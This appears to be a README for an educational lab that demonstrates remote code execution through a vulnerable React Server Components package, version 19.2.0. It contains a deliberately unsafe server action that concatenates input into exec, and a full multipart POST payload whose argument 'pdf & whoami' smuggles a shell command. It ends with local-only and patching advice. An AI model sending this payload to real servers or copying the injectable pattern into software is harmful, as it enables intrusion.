Учебный стенд, демонстрирующий RCE через уязвимый React Server Components (react-server-dom-webpack 19.2.0) и легитимный серверный gadget на child_process.exec.
- Node.js 20+
- react 19.2.0
- react-dom 19.2.0
- react-server-dom-webpack 19.2.0
server.js— HTTP-сервер, вызывает уязвимыйdecodeActionиз RSDW без патчей.app/server-actions.js— легитимный server actiongenerateReport, который дергаетexecсо строковой конкатенацией.scripts/report.js— макет генератора отчётов (печатает аргументы).package.json— зависимости/скрипты.
npm installnpm run start
# сервер слушает http://localhost:3002Отправить multipart POST на /formaction:
POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Ожидаемый ответ (Windows):
{"success":true,"result":"Report generated with: --project=acme --format=pdf\ndomain\\user\r\n"}whoami выполнился через generateReport → exec.
Только для локальной лабы/dev. Не публиковать наружу. После демонстрации — обновить React/RSDW до 19.2.1+ и переписать генерацию отчётов без exec/конкатенации.